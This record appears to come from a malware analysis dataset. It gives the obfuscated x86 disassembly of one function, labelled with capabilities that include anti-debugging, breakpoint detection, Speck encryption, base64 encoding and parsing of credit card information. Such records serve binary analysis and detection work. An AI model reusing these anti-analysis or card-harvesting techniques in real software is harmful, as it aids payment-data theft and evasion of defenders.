Function at 0x101dd3ef
Capabilities:
Check for software breakpoints
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Parse credit card information

Disassembly:
je 0x101c859c
jmp 0x10170e8a
or edx, edx
movsx eax, dl
mov word [edx + esi - 0x6a6aef89], cx
mov ecx, dword [ebp + edx - 0x6a6aef89]
ror dl, 0x66
lea edx, [edx*4 + 0x2b312812]
adc ebp, 4
div eax
inc eax
xor ecx, ebx
xor edx, eax
dec edx
ror ecx, 2
jmp 0x101e7bef
movaps xmm0, xmmword [ebp - 0xdc80]
and eax, edi
shr eax, cl
cmp edi, 0xc7a48836
movaps xmmword [ebp - 0x17fa0], xmm0
rcr eax, 5
bt eax, 0x23
movaps xmm0, xmmword [ebp - 0xe210]
btr ax, 0x27
bsr ax, sp
movaps xmmword [ebp - 0x17f90], xmm0
xor ax, di
adc ax, ax
ror ax, 0xbc
movaps xmm0, xmmword [ebp - 0x17f90]
test si, sp
xorps xmm0, xmmword [ebp - 0x17fa0]
btr ax, 0xb6
movaps xmmword [ebp - 0x17fb0], xmm0
lahf
sbb ax, sp
ror ah, 0x2d
movaps xmm0, xmmword [ebp - 0x17fb0]
or eax, 0x3b85c8b0
movaps xmmword [ebp - 0xe210], xmm0
mov eax, 1
test eax, eax
jmp 0x10028b9b
mov eax, dword [esi]
and edx, edx
imul edx, edx
movsx ecx, dx
movzx cx, byte [edx + eax - 0x6a6aef89]
lea esi, [esi + edx - 0x6a6aef87]
jb 0x1003727e
test si, 0xc912
mov ecx, 1
cmc
jmp 0x10029e73
je 0x1003e23a
jmp 0x1003e2b1
movaps xmm0, xmmword [ebp - 0xdc70]
movaps xmmword [ebp - 0x17fd0], xmm0
movaps xmm0, xmmword [ebp - 0xe200]
bsf ecx, ebp
and ecx, esi
movaps xmmword [ebp - 0x17fc0], xmm0
movaps xmm0, xmmword [ebp - 0x17fc0]
rcr cx, cl
xorps xmm0, xmmword [ebp - 0x17fd0]
test esp, 0xfc2f11b5
rcr cx, cl
movaps xmmword [ebp - 0x17fe0], xmm0
movaps xmm0, xmmword [ebp - 0x17fe0]
movaps xmmword [ebp - 0xe200], xmm0
jmp 0x10170e8a
push ecx
pushfd
mov ecx, 0x80befe36
lea ecx, [ecx + ecx*4 - 0x3ee14c55]
neg cx
neg ecx
xor ecx, 0x38ae9a37
mov dword [esp + 8], 0x10020539
mov ecx, dword [esp + ecx + 0x7c77cf76]
popfd
lea esp, [esp + 4]
call fcn.1004cea8
movsx eax, word [esp + ecx*2 - 0x365ed96]
dec al
movzx eax, byte [ebp + ecx*8 - 0xd97b654]
imul dx, dx
sbb dword [esp + ecx - 0x1b2f6cb], 0x561f3803
xor al, bl
and dx, word [esp + ecx*8 - 0xd97b656]
adc edx, ecx
dec al
xor ecx, 0x453d0707
rol al, 1
dec ecx
shr cl, 1
shl dx, cl
not al
sar ecx, cl
sbb dx, word [esp + ecx - 0x2247f8a]
push edx
inc al
inc dword [esp + ecx - 0x2247f8b]
xor al, 0xb9
xor bl, al
imul cx, word [esp + ecx - 0x2247f89]
or word [esp + edx*8 - 0xcc618bc], 0xbe3b
lea eax, [esp + eax + 8]
imul cx, word [esp + ecx*4 - 0x891161d]
add edx, dword [esp + ecx*4 - 0x892f61d]
jno 0x101fe675
movaps xmm0, xmmword [ebp - 0xe220]
movaps xmmword [ebp - 0x17f60], xmm0
test dh, 6
movaps xmm0, xmmword [ebp - 0x17f60]
xorps xmm0, xmmword [ebp - 0x17f70]
stc
movaps xmmword [ebp - 0x17f80], xmm0
movaps xmm0, xmmword [ebp - 0x17f80]
cmp ch, 0xb1
movaps xmmword [ebp - 0xe220], xmm0
clc
cmp al, ah
xor edx, edx
jmp 0x101b67aa
movzx cx, byte [eax + ecx*2 - 0x4497b10]
not byte [esp + edx - 0x18978214]
jle 0x10159e50
mov word [edx + esi - 0x18978213], cx
movzx edx, byte [ebp + edx - 0x18978214]
mov ecx, dword [esp + 2]
xchg byte [esp + ecx - 0x1bf0197], cl
shr cx, cl
lea ebp, [ebp + ecx - 0x1bf0032]
mov eax, ecx
sal byte [esp + ecx*2 - 0x37e006d], 0x67
adc dword [esp + ecx*2 - 0x37e006c], 0x233dda3d
xor dl, bl
shl ecx, cl
not dl
neg dl
sal eax, 0xef
rol dl, 1
sar ax, 0xf
neg dl
shl cl, 0x22
cwde
not dl
cbw
xor bl, dl
and eax, dword [esp + ecx - 0x37fffffd]
btc cx, cx
lea edx, [esp + edx + 8]
adc eax, dword [eax + edx]
mov dword [esi + ecx - 0x37ffffff], eax
lea esi, [esi + ecx*2 - 0x70000000]
pop edx
mov dword [esp + ecx - 0x38000001], edi
ret